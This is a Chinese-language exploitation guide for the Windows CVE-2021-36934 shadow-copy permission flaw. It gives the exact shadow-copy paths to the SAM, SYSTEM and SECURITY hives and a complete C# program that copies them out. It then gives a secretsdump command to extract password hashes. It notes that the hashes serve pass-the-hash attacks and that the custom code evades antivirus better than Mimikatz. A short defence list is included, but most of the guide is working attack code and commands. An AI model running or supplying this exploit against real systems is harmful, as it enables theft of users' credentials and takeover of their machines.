利用CVE-2021–36934获取用户密码哈希
字数 1298 2025-08-05 08:19:32
CVE-2021-36934漏洞分析与利用指南:获取Windows用户密码哈希
漏洞概述
CVE-2021-36934是Windows操作系统中的一个严重漏洞,影响Windows 10 version 1809及之后的所有版本。该漏洞源于Windows卷影副本服务(Volume Shadow Copy Service)错误地赋予了普通用户读写权限,导致攻击者可以绕过系统文件锁定机制,访问包含敏感系统文件(如SAM数据库)的卷影副本。
漏洞原理
Windows系统通常会对关键系统文件(如SAM、SYSTEM、SECURITY)进行锁定,防止普通用户直接访问。然而,由于此漏洞,攻击者可以:
- 访问卷影副本中的系统文件
- 无需管理员权限即可读取SAM、SYSTEM和SECURITY文件的副本
- 通过这些文件提取用户密码哈希
漏洞利用步骤
1. 识别可用的卷影副本
正常情况下,需要使用管理员权限运行以下命令查看卷影副本:
vssadmin list shadows
但利用此漏洞时,可以绕过此限制,因为默认卷影副本路径通常为:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy
在有多个备份时,路径末尾会添加数字(如HarddiskVolumeShadowCopy1、HarddiskVolumeShadowCopy2等)
2. 定位关键系统文件
需要获取的三个关键文件及其路径:
- SAM文件:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SAM - SYSTEM文件:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SYSTEM - SECURITY文件:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SECURITY
3. 导出系统文件
可以使用提供的C#脚本或手动方式将这些文件复制到当前工作目录。
4. 提取密码哈希
使用Impacket工具包中的secretsdump.py解析导出的文件:
secretsdump.exe -sam SAM -security SECURITY -system SYSTEM LOCAL
C#实现代码
以下是用于从卷影副本导出系统文件的完整C#代码:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.InteropServices;
namespace readfile
{
class Program
{
// 遍历目录(可选)
public static void Traversal(string path)
{
DirectoryInfo TheFolder = new DirectoryInfo(path);
FileSystemInfo[] a = TheFolder.GetFileSystemInfos();
List<String> list = new List<string>();
foreach (FileSystemInfo NextFile in a)
{
list.Add(NextFile.FullName);
Console.WriteLine(NextFile.FullName);
}
}
// 复制文件到当前目录
public static bool CopyFileToCurrentPath(string filepath,string currentpath)
{
bool result = false;
try
{
FileInfo file = new FileInfo(filepath);
Console.WriteLine("Attributes :>> " + file.Attributes);
Console.WriteLine("FullName :>> " + file.FullName);
Console.WriteLine("LastWriteTime :>> " + file.LastWriteTime);
Console.WriteLine("Length :>> " + file.Length);
Console.WriteLine("Name And Extension :>> " + file.Name + "." + file.Extension);
FileStream fs = File.OpenRead(filepath);
byte[] filebyte = new byte[file.Length];
UTF8Encoding temp = new UTF8Encoding(true);
while (fs.Read(filebyte, 0, filebyte.Length) > 0)
{
Console.WriteLine(temp.GetString(filebyte));
}
string filename = currentpath + @"\" + file.Name + "." + file.Extension;
Console.WriteLine(filename);
FileStream fs2 = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write);
fs2.Write(filebyte, 0, filebyte.Length);
result = true;
}
catch
{
result = false;
}
return result;
}
static void Main(string[] args)
{
string currentpath = System.Environment.CurrentDirectory;
// 卷影副本路径
string vsspath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3";
// 关键系统文件路径
string sampath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM";
string systempath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM";
string securitypath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SECURITY";
// 导出文件
CopyFileToCurrentPath(sampath, currentpath);
CopyFileToCurrentPath(systempath, currentpath);
CopyFileToCurrentPath(securitypath, currentpath);
}
}
}
防御措施
- 应用补丁:微软已发布针对此漏洞的补丁,应立即更新系统
- 权限调整:限制对卷影副本的访问权限
- 删除不必要的卷影副本:减少攻击面
- 监控异常文件访问:特别是对SAM、SYSTEM和SECURITY文件的访问尝试
扩展利用思路
除了获取密码哈希外,此漏洞还可能用于:
- 访问其他受保护的系统文件
- 获取系统配置信息
- 提取其他敏感数据
- 结合其他漏洞实现权限提升
注意事项
- 此漏洞利用需要本地访问权限
- 获取的哈希可用于Pass-the-Hash攻击或票据伪造
- 自定义的C#实现比常见工具(如Mimikatz)更容易绕过杀毒软件检测
- 实际利用时可能需要尝试多个卷影副本编号(HarddiskVolumeShadowCopy1、2等)
此漏洞展示了Windows权限管理中的一个重要缺陷,强调了及时更新系统和严格控制文件访问权限的重要性。